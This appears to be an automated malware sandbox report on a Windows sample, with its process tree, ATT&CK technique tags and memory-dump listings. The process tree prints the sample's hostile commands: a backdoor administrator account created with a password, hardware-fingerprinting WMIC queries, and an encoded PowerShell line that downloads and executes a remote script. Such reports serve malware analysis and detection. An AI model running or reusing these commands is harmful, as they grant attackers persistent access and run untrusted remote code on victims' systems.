C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:2072
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  PID:2264
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:964

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc cPQqaRw1
1⤵
PID:1708
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc cPQqaRw1
  2⤵
  PID:3560
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc cPQqaRw1
    3⤵
    PID:3816

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:3260
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  PID:2220

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1740
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  PID:2072

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:3640
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:3816
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:2320

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scripting

T1064

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Scripting

T1064

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/212-255-0x0000019C114F3000-0x0000019C114F5000-memory.dmp

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memory/212-280-0x0000019C114F8000-0x0000019C114FA000-memory.dmp

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memory/212-256-0x0000019C114F6000-0x0000019C114F8000-memory.dmp

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memory/212-254-0x0000019C114F0000-0x0000019C114F2000-memory.dmp

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memory/1104-173-0x0000021CDEEB0000-0x0000021CDEEB1000-memory.dmp

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memory/1104-167-0x0000021CDE3B8000-0x0000021CDE3B9000-memory.dmp

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memory/1104-146-0x0000021CC5D40000-0x0000021CC5D41000-memory.dmp

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memory/1104-160-0x0000021CDE3B6000-0x0000021CDE3B8000-memory.dmp

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memory/1104-154-0x0000021CDE3B3000-0x0000021CDE3B5000-memory.dmp

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memory/1104-153-0x0000021CDE3B0000-0x0000021CDE3B2000-memory.dmp

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memory/1104-149-0x0000021CDE540000-0x0000021CDE541000-memory.dmp

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memory/1104-165-0x0000021CC5D30000-0x0000021CC5D31000-memory.dmp

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memory/1104-172-0x0000021CDEB20000-0x0000021CDEB21000-memory.dmp

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memory/2320-397-0x00000203EE440000-0x00000203EE442000-memory.dmp

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memory/2320-452-0x00000203EE448000-0x00000203EE449000-memory.dmp

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memory/2320-398-0x00000203EE443000-0x00000203EE445000-memory.dmp

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memory/2320-401-0x00000203EE446000-0x00000203EE448000-memory.dmp

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memory/2388-193-0x0000025B1B8C6000-0x0000025B1B8C8000-memory.dmp

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memory/2388-187-0x0000025B1B8C3000-0x0000025B1B8C5000-memory.dmp

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memory/2388-186-0x0000025B1B8C0000-0x0000025B1B8C2000-memory.dmp

Download

memory/2388-222-0x0000025B1B8C8000-0x0000025B1B8CA000-memory.dmp

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memory/3752-123-0x0000000000400000-0x00000000008DB000-memory.dmp

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memory/3752-131-0x000002DDFDF70000-0x000002DDFE21A000-memory.dmp

Download

memory/3752-136-0x000002DDFDCB3000-0x000002DDFDCB5000-memory.dmp

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memory/3752-135-0x000002DDFDCB0000-0x000002DDFDCB2000-memory.dmp

Download

memory/3752-137-0x000002DDFDCB5000-0x000002DDFDCB6000-memory.dmp

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memory/3752-138-0x000002DDFDCB6000-0x000002DDFDCB7000-memory.dmp

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memory/3752-140-0x000002DDFDCB8000-0x000002DDFDCBA000-memory.dmp

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memory/3752-134-0x0000000000400000-0x00000000008DB000-memory.dmp

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memory/3912-286-0x00000194F5256000-0x00000194F5258000-memory.dmp

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memory/3912-283-0x00000194F5250000-0x00000194F5252000-memory.dmp

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memory/3912-308-0x00000194F5258000-0x00000194F525A000-memory.dmp

Download

memory/3912-284-0x00000194F5253000-0x00000194F5255000-memory.dmp

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memory/4060-119-0x000000001D640000-0x000000001DAF1000-memory.dmp

Download

memory/4060-122-0x000000001E300000-0x000000001E78D000-memory.dmp

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memory/4060-121-0x0000000000CA0000-0x0000000000CA1000-memory.dmp

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memory/4060-120-0x0000000000C90000-0x0000000000CA0000-memory.dmp

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memory/4060-118-0x000000001D470000-0x000000001D471000-memory.dmp

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memory/4060-116-0x000000001C450000-0x000000001CA91000-memory.dmp

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memory/4060-114-0x0000000000150000-0x0000000000151000-memory.dmp

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memory/4060-117-0x000000001C040000-0x000000001C042000-memory.dmp

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